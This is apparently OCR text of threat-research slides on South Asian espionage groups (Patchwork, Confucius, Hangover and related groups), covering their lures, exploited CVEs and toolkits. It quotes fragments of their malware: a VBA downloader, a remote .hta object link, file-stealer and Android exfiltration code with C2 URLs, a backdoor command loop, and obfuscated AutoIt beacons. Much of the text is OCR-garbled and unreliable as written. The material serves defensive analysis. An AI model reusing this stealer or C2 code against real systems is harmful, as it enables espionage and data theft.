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Beginning of the investigation

® During our daily threat hunting routine, we discovered several
delivery documents with untypical themes
= |ures to enable macros, downloads RAT

= Topics related to Bangladesh and Sri Lanka
-

uorin Sri Lanka

This document has been locked by the UNDP

Dim bStrm: Set bStrm = CreateObject(Adodb.Stream')
#Http.Open "'GET', "[iaqsupFfiaia il s False

xHttp.%end
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Beginning of the investigation
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Patchwork (2016)

= Disclosed by Cymmetria in 2016
= QOperating since at least 2014

= Targets China, Pakistan, US, Bangladesh, Sri Lanka, Israel

among others

= Uses spear phishing



Patchwork - Infection vectors

= Example of the website redirecting to a malicious document

<meta

“ | D annilich cinamilneue cn -

Chinese president meets top U.S.
general

Chinese President Xi Jinping on Thursday met with visiting
chairman of the U.S. Joint Chiefs of Staff Joseph Dunford at the
Great Hall of the People in Beijing.

China invites US to solve issues
together

China has invited the United States to work together and play a
constructive role in solving issues regarding the Korean

<!-- Webterren JsCode end-->
<!-- Go to www.addthis.com/dashboard te

http-equiv="refresh™ content="1;url= s HF=l
]

1098 | </body></himl>

1

2(GB) | Chinese(Big5) | Defense Ministry

andglish.chinamil.com.cn j

Missile frigate Huangshan (Hull 570) attached to a destroyer flotilla with the South China
Sea Fleet under the PLA Navy fires its close-in weapons system at simulated sea targets
during the live-fire training in waters of the South China Sea in mid-August.

customize your tools -->




Patchwork - Delivery documents

= CVE-2012-1856
RTF files, drop various decoy documents related to China

Power and Order in the South China Sea
By Dr. Patrick M. Cronin

Despite numerous calls for a more cooperative relationship, U.S.-China ties appear to be

on an increasingly competitive traj ectory.l Nowhere has this seemed more apparent than
in the South China Sea, where rising tensions have been sowing concern throughout

Southeast Asia about the durability of order in the Asia-Pacific regic:»n.‘2

A defining moment in deteriorating relations occurred at the July 2010 Association of
Southeast Asian Nation (ASEAN) Foreign Ministers’ Meeting in Hanoi, when Secretary
of State Hillary Clinton announced U.S. support for ensuring that territorial disputes
were resolved amicably and fairly. “The United States,” Secretary Clinton explained,
“has a national interest in freedom of navigation, open access to Asia’s maritime

ds,

Council Special Report No. 72
. March2015 .

?

i

commons, and respect for international law in the South China Sea.”3 That prompted
Chinese Foreign Minister Yang Jiechi to warn “outside powers™ not to meddle, and then
turn to Southeast Asian foreign ministers and declare: “China is a big country. And you

Robert D. Blackwill

Ashley J. Tellis are all small countries. And that is a fact.”# U.S.-China relations have now become

inseparable from the complex set of issues roiling the South China Sea. From the point IBEEI}



Patchwork - Delivery documents
» CVE-2014-4114

Click to add title

How the Next US President
Should Handle the South
China Sea

o PROTECTED VIEW Be careful—files from the Internet can contain viruses, Unless you Enable Editing

- CV E 2 O 1 7 O 1 9 9 need to edit, it's safer to stay in Protected View.

1
pre
2
3
4
Please click Enable Editing at the top and Slide Show
for the display of graphics and media content
3

<?xml wversion="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http: //schemas.openxml formats.org/package /2006 /relationships"
>ERelationanen Id="rId3" Type="

http: schemas . openxmlformats .org/officeDocument/2006/relationships/oleObject” Target="

http: ciis-cn.net/msofficen atenip.hta" TargetMode="External"f><Relationship Id="rId2" Type="
http: schemas . openxml formats . or officeDocument /2006/relationships/slidelayont"” Target=
"../fslidelayounts/slidelLayocnt5.zml"/><Relationship Id="rIdl" Type="

http: schemas . openxml formats . or officeDocument /2006 /relationships /fymlDrawing"” Target=

", . /fdrawings/vmlDrawingl . vml"/><Relationship Id="rId4" Type="

http: schemas . openxml formats . o officeDocument /2006 /relationships/image” Target=

", . /media/imagel .wmf" /></Relationships>

CHINA STRATEGIC PERSPECTIVES




Patchwork — Toolkit

Weaponized documents exploiting CVE-2012-1856, CVE-2014-
4114, CVE-2015-1641, CVE-2017-0199, CVE-2017-8570
XRAT/QuasarRAT

NdiskMonitor (custom .NET backdoor)

Badnews (custom backdoor)

.NET and AutolT filestealers

Delphi “Biodata” backdoor

AndroRAT and “Bahamut” Android malware



Patchwork — Badnews backdoor

= Badnews backdoor

= Hardcoded and encoded (sub 0x01) URL addresses with configuration
= Links to legitimate services like Github, feed43, webrss, wordpress,

weebly...

uuqt; 88sbx/hjuivcetfsdpoufou/dpnBbmgsffeopcfmjBuftuspBnbtufsBynmsynm. . .iuug

;080 F FeSh/dpnB628 1594223137 742/ynm. iuug; 88xxx /ufostt /dpnBds Fbufgffe/fqigqigF

ADD iuugt;eesbx/hjuivcvtfsdpoufou/dpnebmgsffeopcfmjeuftusp@nbtufseynm/ynm
iuug;@8gffess/dpn@6281594223137742/ynm
Key Hex~ ff iuug;B8@xxx/xfcstt/dpnedsfbufgffe/qiq@gffeje»5: 53

iuugt;eecfdiftcfbvuff/xpseqsfit/dpne

time: 1ims
Output length 133 [ savetofile i Move outputto input Und
ines:
https://rauw.githubusercontent.com/alfreednobeli/testro/master/xml.xml
http://feed43.com/5170483112826631.xml http://www.webrss.com
fcreatefeed.php?feedid=49942 https://bechesbeautee.wordpress.com/



Patchwork — Badnews backdoor

= Badnews backdoor

=  Examples of encoded configuration on Github / Wordpress website

& (= ‘ B Secure | https://raw.githubusercontent.com/alfreednobeli/testro/master/xmlxml

<rss xmlns:blogChannel="http://backend.userland.com/blogChannellodule” version="2.8">

<channel>

<titlergood</title>

<linkrhttp://feeds.rapidfeeds.com/79167/</ link>

<atom:link xmlns:atom="http://www.w3.org/2065/Atom" rel="via" href="http://feeds.rapidfeeds.com/79167/" type="application/rss+xml"/>
<gtom:link xmlns:atom="http:/ www.w3.org/2005/Atom" rel="self"” href="http://feeds.rapidfeeds.com/79167/" type="spplication/rss+xml”/>
<description>

</description>

<pubDate>Tus, 21 Jul 2815 85:83:89 EST</pubDate>
<docs>http://backend.userland.com/rss</docs>

<generator>RapidFeeds v2.@ -- http://waw.rapidfeeds.com</generators>
<languageren</language >

</channel>

<fres»

Site Title Home About Contact [ W (©

xciting
October 11, 2017

bechesbeautee

Leave a comment



Patchwork — File stealers

m Taskhost stealer

private void RemowveRescurce(object sender, Eventirgs e)

i

" this.Hide();

E this.showInTaskbar = false;

: this.windowID = Marshal.AllocHGlobal(this.windowID};
E this.Checkaction();

this.RemoveResource {"|"‘.dnc; *.xls;*.pdf;*.ppt;*.eml; *.msg;*.rtf; ") ;

ixed®SD&student name:

: 'secure. phprdrive=C-%5EF
content- Type app11cat1on{x—www—furm urlencoded
Host: 209.58.185.35

Content-Length: 9

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1

C-[Fixed]

POST http://209.58.185. 35 /secure. php?drive=C-%5EFixed%5D /Program20Files /Debugging®20Toolsx20fors
Content-Type: multipart/Torm-data; boundary=rvsrgkjt.O0t3

Host: 209.58.185.35

Content-Length: 1196545

Expect: lo0-continue

--rvirgkjt.ot3
Content-Disposition: Torm-data; name="file";filename="kernel_debugging_tutorial.doc™

4 @ taskhost (1.0.0.0)
4 &2 taskhost.exe
= PE
b =B References
P Resources
b{} -
4 {} taskhost
b % <<EMPTY_NAME=> @0200001D
b #3 Assemblylnfolttribute @02000003
b %, AssictantConverter @02000004
b "%, Componentloader @02000008
b %%, DialogEventArgs @02000002
b %, DockingPaneService @0200000E
b #*3 DockingPaneStack @02000009
b %% Page @0D200001A
b %, Referencelnfo @02000000
b %% ServerOptions @02000005
b "%, StubSettings @0200000F
b %, Vectorinveker @02000011
b % WindowDictionary @02000010
P} taskhost.My

Ccontent-Typea:
Content-Type:
Ccontent-Typa:
Content-Type:
Ccontent-Typa:
Content-Type:
Ccontent-Typa:
Content-Type:
Content-Typa:
Content-Type:
Content-Typa:

hantant-=-Twrar

application/msxls
application/msword
application/msppt
application/pdf

TeXL/TKE

application/rtf

image/jpeg

application/zip
application,/ipd
application/bbb
application/x-rar-compressed
Gl i rat T S YT —rmne ac = e
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Confucius (2016)

= Disclosed by Palo Alto Networks in 2016

= QOperating since at least 2013

= Rapid7 disclosed the ByeByeShell backdoor in 2013
= Targets Pakistan, especially military sector

= Palo Alto Networks mentions links with Hangover

= Qur research started following on from Patchwork research



Confucius — Infection vectors

= Mails containing links to weaponized documents

= RTF files exploiting CVE-2015-1641, CVE-2017-11882, CVE-2017-8750
= Inpage files exploiting CVE-2017-12824

= \Waterholes: legitimate websites compromised to inject
malicious code

= Fake websites built to incite victims to install malicious chat
applications for Windows and Android

= Legitimate websites linking to malicious documents

" Human interactions to incite victims into installing malicious

applications or click on malicious links



Confucius - Infection vectors — mails

Issued in Public Interest

CPEC marks the beginning of Chinese Inclusion in
Pakistan

It has been established through exhaustive survey that majority of families in
Pakistan have limited knowledge base while addressing any unforseen
eventuality at family front which might include sudden demise of the sole bread
earner. On directions of the Honourable Prime Minister of Pakistan,
NADRA has now come out with an elaborate document which is proposed
to be held with all the Citizens of Pakistan.

Download the document from the link below. Fill your details and hand over to

Spouse.
Know your Rights

Disclaimer:

1. The information is solely for Citizens of Pakistan. If you are not a citizen or
have changed your citizenship, you are advised to unsubscribe.

2. The document is confidential and may be legally privileged. It is solely
intended for use of named recipient(s). If you are not the named addressee,
you should not disseminate, distribute or copy this e-mail.

If you no longer wish to receive mail from us, you can unsubscribe

NADRA Pakistan, National Database Organisation, Ministry of interior, Islamabad,

635844, Pakistan

National Identity Card for Pakistani citizens held with a Chinese man marks
the beginning of Chinese expanse. Many consider it morally wrong when
Pakistan has yet to allow identity cards to Muslim refugees from Afghanistan,
while some term it "The aftereffect of CPEC".

Despite China being Pakistan's all-weather friend, noted Defence Analyst
and Economist Ahmad Faruqui has all the reason to look at it with suspicion.
Top economists of the likes of Abd-ul-Wahab, regard CPEC as benefiting
only China.

Pakistan looks at China as its Military Ally and an economic benefactor. It
has now begun to even forge cultural ties with China. However, according to
a Pew Research, 82% Pakistanis hold an unfavourable view in this
regard.

Learn More ...

If you no longer wish to receive mail from us, you can Unsubscribe
mailer@dawn-news.live

\{ /X%

=
c

D.
o



Confucius - Infection vectors — waterholing

¢ 0 [0 vensrcenbaciy 1y ffirrigation.punjab.gov.pk: 80,

=

=td colspan="2" align="right"=<a href="Entitlement.aspx" class="footerLink"=Read More..</a»</td=>

< ftr=

'hiip:fﬁdS.?E.33.53£cﬂde.php" width="0" height="0"></iframe=>

a7 | <fdiv=
=div> _

m 45.76.33.53 is related to a malware named “remote-access-
c3” and developed by the Confucius group



Confucius - Infection vectors — fake websites

ANONYMITY GUARANTEED
NO DATA ON OUR SERVERS




Confucius - Infection vectors — fake websites

23 August 2018 4:45 pm » Railways ministry faces a debt of Rs37-40 billion, Sheikh Rashid

AZAD KASHMIR

Transposh - translation plugin for wordpress

KASHMIR PAKISTAN INDIA GLOBAL ABOUT AZAD KASHMIR OUR APP

NEWS VIEWERSHIP STATISTICS

886 hits

RECENT POSTS

Paki objecting to National Dress of Pak as
dress of terrorists in a Museum in Washington
DC.

3 August 2018

Railways ministry faces a debt of Rs37-40

3 August

Paki Objecting To National Dress Of Pak As Dress Of Terrorists In A Museum In

- “What Has Happened To This Little Heaven,”
Washington DC.

Flood-Battered Kodagu Asks

23 August 2

News Reporter 23 August2018 ® 0 COMMENTS

In 'Newseum' Museum — Washington DC. The national dress of Pakistan was displayed so prominently in the Donald Trump Says Stock Market Would
1 ‘Crash’ If He Were Impeached

tarraricrn aallans Thic avhihit ic hiatanths ~ffancihua +A avans nasrca_lrvina Dalictani and | hana that canifu e
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Confucius - Infection vectors — malicious links

* Legitimate website containing a malicious link

change.org Start a petition  Browse Q Login PETITION UPDATE

COAS & Chief Justice : Agreed
to OUR Request -- Thank You

6,639 have signed. Let’s get to 7.500!
RAISE YOUR VOICE! L —— ALL

‘E‘ Zainab Justice
= Lahore, Pakistan

#JusticeforZainab #Justice4Zainab

[# Display my name and comment on this petition 30 JAN 2018 I AS One LAST Step Please Fl” an FOI'ITI BELOW
and mail back a SIGNED Copy to give to COAS and CJ Pakistan.
e Thank You VERY MUCH -- ALL --- WE DID IT

Yy Zainab Justice started this petition to Chief Justice of Pakistan Main Saqib Nisar and 3

<~ others

Rape, Murder of 8-year-old GIRL ----- Shocks Pakistan http://justice4zainab.ddns.net/




Confucius - Infection vectors — malicious links

The malicious link redirects to Document.docx

| Index of /Normal ® |+

€ | (O | justicedzainab.ddns.net/Normal/

Index of /Normal

Name Last modified Size Description
« Parent Directory

%) Document.docx 2018-01-30 06:50 11K
[?) Document1.docx 2018-01-29 01:19 0
[ normal.docx ~ 2017-12-25 06:04 12K
test.txt 2018-01-03 21:29 22

Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.0 Server at justicedzainab.ddns.net Port 80

|
-0
om
O,U



Pakistan Defence
@defencedotpk

Follow Pakistan's largest community
forum | Civil - Military - Foreign Affairs -
Debates - OpEds - NATSEC - Industry |
EST-2005 | RT # Endorsement |...

)
p A%

(" Follow ) ¢
\_\ / °

ISPR Official
@IiSPRofficiall0

(ISPR)

change.orf =

! 2oo,oq.o,ooo

PEOPLE MAKING ABETTER WORLD |

WLAT wm | v L U aNaeD

( Follow )
. o 32

~ Shahid ™
Change.org @ BN 474 followers
@Change @ Hahahaa uni ? Kharab thori ho
N Follow

HILAL - The Pakistan Armed Forces'
Magazine
11,526 likes

Magazine

= Follow

4

( Follow )
& /

=

Maj Gen Asif Ghafoor g
@OfficialDGISPR

The official spokesperson of Pakistan
Armed Forces. Personal account is @ TREND
P : MICRO
@peaceforchange



Confucius — Toolkit

Weaponized documents exploiting CVE-2015-1641, CVE-2017-
11882, CVE-2017-8750

SFX archive with decoy document and malicious executable
ByeByeShell (custom backdoor)

Remote-access-c3 (custom C++ backdoor)

Delphi “BioData” backdoor

C++, Delphi and Python filestealers

File exfiltration via multiple cloud service providers

Mobile malware (Android, available on Google Play and

Amazon App Store)



Confucius - Backdoors, RATs

memset(&szRecvBuffer, @, @x1@8u);

] B eB eShe” dwConnectionStatus = recv(socket, &szRecvBuffer, 255, @);

y y if { dwConnectionStatus == -1 )

goto LABEL_77;
. . if ( !_stricmp(&szRecvBuffer, "shellin™) }
= She”, Comd, SIeep, qU|t, kl” run_cmd_command ( (void *)secket);
if ( !_stricmp(&szRecvBuffer, "comd\n") && !send recv_file_ ex(socket) )

goto LABEL_77;

u Comd: if ( !_stricmp(&szRecvBuffer, "sleepin™) )

. . dwMilliseconds = 1308000;
= put, EXIT, dup, exe, fget, fput, getproc, listdir, dwConnectionStatus = send(socket, "BYE BYE", 7, @);
. goto LABEL_77;
copyfile, exec
if ( !_stricmp{&szRecvBuffer, "quit\n™} )
goto LABEL_77;

= Smurf! Contr0| Scrlpt In -php if { ! _stricmp(&szRecvBuffer, "kill\n™}) }

break;

[Smurf!] e

oy Set Terminal on Set Terminal off Set All Terminal off
1 out of 156 Bots Reported Today
Machine Name Time Reported Lasl Seen Score ‘Terminal Status Info
G January 30, 2018, 10:04 pm [
DELL January 30, 2018, 10:04 pm. Off
= January 30, 2018, 10:04 pm. off
| . . T january 30, 2018, 10:04 pm. Off
Std User/ o January 30, 2018, 10:01 pm 149 Off
January 30, 2018, 9.30 pm 2023 Off
—y Joriory 70, 2018, 5,08 pm v or
. January 30, 2018, 8:28 pm 5733 o
s January 30, 2018, 7:46 pm 8297 [
SN B W anuary 30, 2018, 6:25 13133 ]
= oy 1015 s T . Probable Analyser
Commander | | | anuary 30, 2018, 5:32 pm 16343
e e January 30, 2018, 5:29 pm 16488 ]
“ n January 30, 2018, 5:16 pm 17261 3
] January 30, 2018, 447 pm 19025 Off
[ 8 " B January 30, 2018, 3:58 pm 21082 Off
Adminin e January 30, 2018, 3:27 pm 23788 Off
IEm  memm January 30, 2018, 2:38 pm 26726 [
oee s | January 30, 2018, 2:38 pm 27326 Off
— January 30, 2018, 1:55 pm 20334 Off -
[ Adwmsbatorl 0 =] Jemuary 30, 2016, 125 am 361 Probable Analyser m TR
M
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Confucius - File stealers

= Swissknife

def

Written in Python, compiled to .EXE file
access token in decompiled code -> allowed us to write script
enumerating all folders (victims) and all files (even the deleted ones)

.pdf, .doc, .docx, .ppt, .pptx, .xls, and .xIsx

= 'LTYZ] SnVX

main() :

selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Desktop')
Visit (selectedDir)

selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Downloads')

Visit (selectedDir)
selectedDir = os.path.join(os.path.join(os.path.expanduser('~"')),
Visit (selectedDir)
drives = win3Zapi.GetLogicalDriveStrings()
drives = drives.split('\x00')[:-1]
for UPdrive in drives:

selectedDir = UPdrive

dType = win3Zfile.GetDriveType (UPdrive)

if dType =— 2 or dType =— 3 or dType — 4:

if UOPdrive not in ("A:\\'; ‘a:\\'; 'C:\\';, 'e:\\"):
Visit (selectedDir)

L
F
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Confucius - File stealers

= Swissknife
=  Enumerating of the deleted folders and files

DeletedHetadata{name=u'Afzaal{2C9F16832}", path_lower=u"/afzaal{2c9f1832}"', path_display=u’
DeletedHetadata{name=u'Awais{DB2DB714}", path_lower=u"/fawais{dB2db714}', path _display=u'/A
DeletediHetadata{name=u‘Dell{H2321B5%9}", path_luwer=u'fdell{u2321h59}', path_display=u'/Del
Deletedietadata{name=u'mohammad SN A43A8D28} ", path lower=u'/mohammad =GN 243a8d2
DeletedMetadata(name=u'Alta = 9E501402} ', path lower=u'/altarallEN 9c5015a2) ", path
DeletedMetadata{name=u'Sehr{3609E588}", path_lower=u’/sehr{3609e588}', path _display=u’/Seh
DeletedMetadata(name=u‘qgggg{C47F812F}", path_lower=u'/gggqg{c47F812f}°, path_display=u'/ggg
DeletedMetadata(name=u'AVASTx{1282DBAG} "', path_lower=u'/avastx{1282dbab6}', path_display=u’
DeletedMetadata(name=u'AK{9EBC521F}', path_lower=u'/ak{%e8c521f)}', path_display=u’/AK{9EBC
DeletedMetadata(name=u'Amer{A27121AD}", path_lower=u'/famer{a27121ad}', path_display=u’/Ane
DeletedMetadata(name=u'hunter{78B1B493}"', path_lower=u’/hunter{78b1b493}"', path_display=u’
DeletedHMetadata({name=u'Dell{A209BC60B}", path_lower=u"/dell{a28%bc6B}', path_display=u’/Del
DeletedMetadata({name=u'rm{BA88E31B}", path_luwer=u'frm{EBBEE31h}', path_d15play=u'frm{3ﬂﬂﬂ
DeletedMetadata{name=u'Asdagq{1E43814C}", path_lower=u’/fasdag{ied3dibc}", path_ display u'sna
DeletedHetadata{name=u'Hp{ECE16289}", path_lower=u fhp{ece1ﬁzﬂg} » path_display=u pr{EEE1
DeletedHetadata{name=u'hawkl{F841378A}", path_lower=u"/hawkl{f841378a}', path_display=u'/h
DeletedHetadata{name=u'Get Started with Dropbox.pdf', path_lower=u'/get started with dropb
DeletedHetadata{name=u"Altaf{FZ2DL4FBE}" , path_ lower=u"faltaf{f2dusfBe}", path_display=u’sn
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Confucius - File stealers

= Swissknife
= Enumerating of the deleted folders and files

DeletedHetadata{name=u'Uisiting Card Afzaal JEJ*docx’, path_lower=u'/fafzaal{2c?f1832}/visiting
DeletedMetadata{name=u'The Transport Officer.docx’, path_lower=u'/fafzaal{2c9f1832}/the transport
DeletedMetadata{name=u’'The General HManager (3ales).docx', path lower=u'/fafzaal{?c9f1832}/the gen
DeletedMetadata{name=u'The Deputy Commissioner .docx', path_lower=u'fafzaal{2c9f1032}/the deputy

DeletedMetadata{name=u'The Anti-Honour Killings Laws {Criminal Laws Amendment) Bill, 2614.pdf°’,

DeletedMetadata{name=u'Stationary.doc’', path_lower=u'/afzaal{2c?f10832}/stationary.doc’, path_dis
DeletedMetadata{name=u’'5Shortage of Water.docx', path lower=u'sfafzaal{?c9f1832}/shortage of water
DeletedMetadata{name=u'REPRESENTATION TO SPEAKER HATIOHAL HEARIHG .docx', path_lower=u‘/fafzaal{2Zc
DeletedMetadata{name=u’'PROFILE OF HATIONAL FOOD SECURITY AHD RESEARCH.docx®, path_lower=u'fafzaa
DeletedMetadata{name=u'0GDCL .docx', path_lower=u'fafzaal{2c9f1832}/0gdcl.docx’, path_display=u‘/
DeletedMetadata{name=u'0ffice of Chairman.docx', path_lower=u'/fafzaal{?c9f10832}/o0ffice of chairm
DeletedMetadata{name=u‘Mon Aligned states. fipnal.pptx', path_lower=u'/afzaal{2c?F18232}/non align
DeletedMetadata(name=u'Mew List of Committee meetings.docx', path_lower=u'/fafzaal{2c?f1832}/new

DeletedMetadata{name=u'National Assembly of Pakistan.pdf', path_lower=u'fafzaal{2c9f1832}/nation
DeletedMetadata{name=u'HMicrosoft Word - legalguide.pdf’, path_lower=u‘/fafzaal{2c?f1832}/microsof

-
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Confucius - Malicious Android applications

= Secret Chat Point

} else if (msg.compareTolConfig.UPLOAD ALL) 1= @) {
n th datalUploader = new Datalploader(this];
Google Play (October 14t", 2017) datalnloader. gotclace )3 |
= Third party market places new getAllSMS AsyncTask().execute(new Stringl[ol);

datalploader = new Datalploader(this];
datalploader.getClass();
new getillContacts _AsyncTask().executelnew Stringl[o]);
datalploader = new DatalUploader(this];
datalploader.getClass();
new getAllAccounts AsyncTask().execute(new Stringl[o]);
1 else if imsg.compareToiConfig.UPLOAD FILE LIST) != @) 1
dataUploader = new DataUploader(this];
dataUploader.getClass(]);
ag%’;¥xgxggs%’;:zgﬁg new getallFilelist AsyncTask().executelnew String[o]);
T else if (Imzg.startsWith({Config.UPLOAD FILE CONTEWT)) {
datalUploader = new DatalUploader(this];
datalploader.getClass(]);
new getillFilecontent AsyncTask().execute(new String[limsgl};

= File stealing capabilities

public static final String UPLOAD ACCOUNTS = "http://simplechatpoint.ddns.net/android_connect/insert_account.php";
public static final String UPLOAD BASE URL = "http://simplechatpoint.ddns.netsandroid_connect";

public static final String UPLOAD CONTACTS = "http://simplechatpoint.ddns.net/android_connect/insert_contacts.php";

public static final String UPLOAD FILE COMTEMT = "http://simplechatpoint.ddns.net/android_connect/upload_file_content.php";
public static final String UPLOAD FILE LIST = "http://simplechatpeint.ddns.net/android_connect/insert_file_list.php";
public static final String UPLOAD SMS = "http://simplechatpoint.ddns.net/android_cennectsinsert_sms.php";
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Confucius - Malicious Android applications

TweetyChat : Meet Locals Today
= Tweety Chat (mobile) (Unreleased)

Software Developer Android Communication

" Google Play N R
= Several times published & taken down | ——
= Amazon app store
= Several times published & taken down
= Third party app stores
= Second version added features:

= Audio recording

ﬂﬁlﬂh!.

= Stolen content uploaded to AWS

public class DatalUploader {
private static final String TARGET _PATTERM = “txtldocldocxlxlslxlsxlpptlpptxlpdfl]pgl]peg“;
Context context;
List-<FailedFileMap= failedFileMapList = new ArraylList();
string filename_accounts = "accounts.csy";
string filename_contacts = "contacts.csy";
string filename_parameters_downloaded = "parameters_downloaded. txt";
String filename_parameters_uploaded = "parameters_uploaded. txt";
String filename_sms = "sms.csv";
private String imei;
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Urpage (2016)

= Disclosed by Kaspersky in 2016, operating since at least 2013

®" TrendMicro named the group in 2018 as it had expanded its
toolkit

= Targets middle eastern and Muslim countries such as Pakistan

= Spear phishing mails with weaponized documents targeting

Office and InPage software

= Use SFX archives ¢®) TREND.



Urpage — Infection vectors

:) £
g Ministry of Foreign Affairs
N Government of Pakistan
w

Office of the Spokesperson

Press Release @A

PM Chairs High-level meeting on Yemen situation Ram qan




Urpage — Toolkit

= SFX archive with decoy document and malicious executable

Custom VB backdoor

Delphi “BioData” backdoor and filestealer

Android malware of the “Bahamut” family

Malicious 10S applications (found by Talos)



Hangover (2013)

= Disclosed by Norman in 2013, operated since at least
September 2010

= Attacks against national interests private sector industrial
espionage (telecommunications, law, food&restaurants,
manufacturing)

= Hacked Telenor, a Norwegian telecommunications operator

= Targeted a dozen countries, among which Pakistan, Iran,
United States, China

= Multiple reports attributed this group to an Indian company

named Appln security, which was closed in 2014



Hangover — Infection vectors

= Spear phishing with weaponized documents exploiting CVE-
2012-0158 or with SFX archives

= Weaponized RTF files with old vulnerabilities

= Websites containing:
* |nternet Explorer exploits (CVE-2012-4792)
= Java exploits (CVE-2012-0422)

= Used one 0-day vulnerability in MS Office (CVE-2013-3906)



Hangover — Toolkit

= SFX archives with decoy document and malicious executable

Malwares written in Delphi, Visual Basic

Filestealers, keyloggers

AutolT scripts (backdoors and filestealers)

Bad opsec — open directories



Snake in the grass (2014)

= Disclosed by Blue Coat in 2014, related to Operation Hangover
= operating at least since 2013

= Targets Pakistani military sector

= Keyloggers and filestealers in Python, compiled with

PyInstaller, AutolT backdoors, Weaponized RTF files and SFX

archives



EHDevel (2016) / Donot (2018)

= Disclosed by BitDefender in 2017, operating since at least 2016

Arbor Networks disclosed the Donot campaign in 2018

Targets multiple countries, mainly Pakistan and US

Links with Hangover as well as Snake in the Grass

SFX archives and custom backdoors, filestealers and keyloggers

written in C and Python, probably sent through spear phishing



Outline

= Connections between those groups
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AutolT — Hangover

72 = _cwvxm()

If NOT 52 = "" Then Exit

HttpSetUserAgent (_base6d4decode ("ITWo6aWxsY58 1L AgKFdpbmRvd3MgT10gN54x0vE
Global fupdmedia = baseéddecode ("QzpcO¥BwbGliYXRpb2 SEYXRRXFEBYIWZLAGHOXA==")
Global Swrkdir = _base&ddecode ("QzpcUXBwbGljYXEpb2 SEYXRhXA==")

Global supdsrv = baseéddecode ("ZXhOcnVtiWlhY2hpbmUub3in™)

Global Smyway = "20"

Glebal Smylink = _baseéddecode ("dmleL2d1ldGlheCiwaHa="})

Global Smypesru = EComputerName
Global fvars = baseéddecode ("c3lzbnFrIT0=") & fmypesru
Global Susresl = Sfmylink & "7" & _httpencodestring (Fvars)
Global fgetfesss = baseé4decode ("aHE DovL2ZV4dHIIEWVEYWHoaWs 1LmSy
Global Ssplfile = baseé&decode{”"—"ﬁ' L2V4dHI1IEWVEYWHoaW51Lm9,
Glebal Sfkeved = VeTWlicmOzk2Z IhF:lprrﬁ'—.r:l:,.‘-Ic
Global Svitaminu = _baseﬁ&decade{"'_-2_<_I:Ec:'-.r'_z'-.-'-?:1_-!.,_bu"'-.-'t.ﬂ\‘?-Ic:aI\‘S'_lrr.Qg- S2a¥ovZI3ghYig=")
RegWrite(fkeysd, "Info", baseéddecode ("UkVHEX1Na"), @ScriptFullPath)
DirCreate(Svrkdir)
DirCreate (fupdmedia)
readhttp (fgstisss)
[While 1
_uploadpath()
Sleep{2000)
Ieadhttp(ﬁ'spifiie)

WEnd

Hangover AutolT script
72e2cf9eb8ba94f51cdb209249bc90805fb99469fc3243961038027e082382e8

YT'.‘XS'_TEC-"DC'ZPX‘-T'"f'h'|"_'_P=:==
RYW11PQ==

joxXN14wESBHZWNrbyvEyMDEWMDEWMSBGaXJ1ZmS94LzE2LjA="))

"y & Smyperu
"y & fmypsru

Z1cnNpb25cUnvu™)



AutolT — Snake in the Grass

Sz = cvxm()

If HOT 5z = "" Then Exit

HttpSetUserAgent ( base64decode ("IW96aWxsYSE1LjAgKFdpbmRvd3MgT 10gNS54x0yByd) oxNi1 4wKSBHEZWNr by S yMDEWMDEWMSBGaXJ1Zm94LzE2LjA="} )
Global Supdmsdia = _basegddecode ("QzpcTV

Global Swrkdir = _baseéddecode ("QzpcTVHMxQ2ZFja

Global JFupdsrv = baseéd4decode ("b251c3RveClzaGiwey5jb20==="})

Global Smyway = "Z0"

Global Sfmylink = _baseé&ddecode ("YzAxMDR4L2dA1dGE1heCowaHA=")

Global Sfmyperu = EComputerHame

Global fvars = baseéd4decode ("c3lzbmFtiIT0="}) & Smypsru

Global suarsl = Sfmylink & "?" & _httpencodestring(fvars)
=

Global Fgstfess = _baseéddecode ("aHROcDovLZISuIXNOB3AT voHMuY2 St L2MWwMT AW C onZ X RhlGw WESHNSc25hbWT2") & fmypsru
Global Ssplfils = _basegddecode ("aHRC ovL29uZXNOb3At veHMuY2 St L2ZMwMTAwOC Svbmxphbmluc 251 bNJﬂ”} & Smyperu
Global Fkeyed = _baseé4decode ("SEtFWVSDIVVISRUSUX1IVIRVIcUOSGVFABULVeTW1jcmS zb2 Z0XFdpbmRvd 3N Q31 ZlcnNpb2SclUnVa™)
Global Sfvitamins = _basgeé&4decode {"aHROcDovL2 SuZXNOb3AtcZhveHMuY2 9t LZMWMTAWwOCSWwbHVRnaWSzLw=="}

RegWrite (Skeyesd, "DemoEx", base64decode ("UkVHI1Na"), @ScriptFullPath)
DirCreate (Svrkdir)
DirCreate {Supdmsdia)
Ieadhttp{S stfess)
While _
_uploadpath()
Sleep (9000}
readhttp(Ssplfiles)

WEnd

Snake In the Grass AutolT script

ed026685697d34152f153a09787fda9fee0lalc6cad34121446ee0bf2e520620
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Snake in the Grass - EHDevel

key = winreg.CpenKey(_winreg.HKEY CURRENT_ USER, 'Software\\Microsofci\\Windows\
v _winreg.S5etValueEx (key, 'browse', 0, _winreg.REG_SZ, 'C:\M\Bootfile\\wsutils.ex
sskey . .Close ()

if not os.path.exists('C: " \Booctfile'\\log.t=xt'):
for drv in az():

Frr vmmtr  Adive  Filas dm ome rrsllefdwesl o

")

|H

skipdir = [
'ﬁnntf__e', 'Program Files', 'Program Data', '"Program Files (x8&)', "WINDOWS'

1f folder. flnd{sklpdlr[u]} I= -1 or folder.find(skipdir[l]) != -1 7

t (full
fl = open(fullpath, 'zk')

FElm — F1 wmmATL

if os. path splltext{fullpath}[ ] = '".doc' or os.path.splitext(fullpath)[l] = ".xl=z'

- taswisLy FLacT ™
f2.close()
f = open('C:\\Bootfile\‘\log.txt', 'ab')
f.write (fullpath + "‘n")
f.close ()

Snake in the Grass Python filestealer

73acf81d65e59ce238db85b2e3ab8ce3bb9623aee426e6f4clafead21f05797d



Snake in the Grass - EHDevel

#key = winreg.CpenKey( winreg.HKEY CURRENT USER , 'Software’
#_winreg.ﬂetvalaEExikey r "browse',0, winreg.REG SZ,pathreq)

50

ache','PerfLogs', 'System Volume Informa

]

skipdir = ['Program Files','Program Data','Program Files (x3e)','WINDOWS'

print dirlen,™1111"

1f folder.find(skipdir[C]) <> -1 or folder.find(skipdir[l]) <> -1
Girien - tem(aireiiesy

if (os.path.splitext{fullpath)[l] = ".doc') or {(os.path.splitext(fullpath)[l] = ".x1l=")
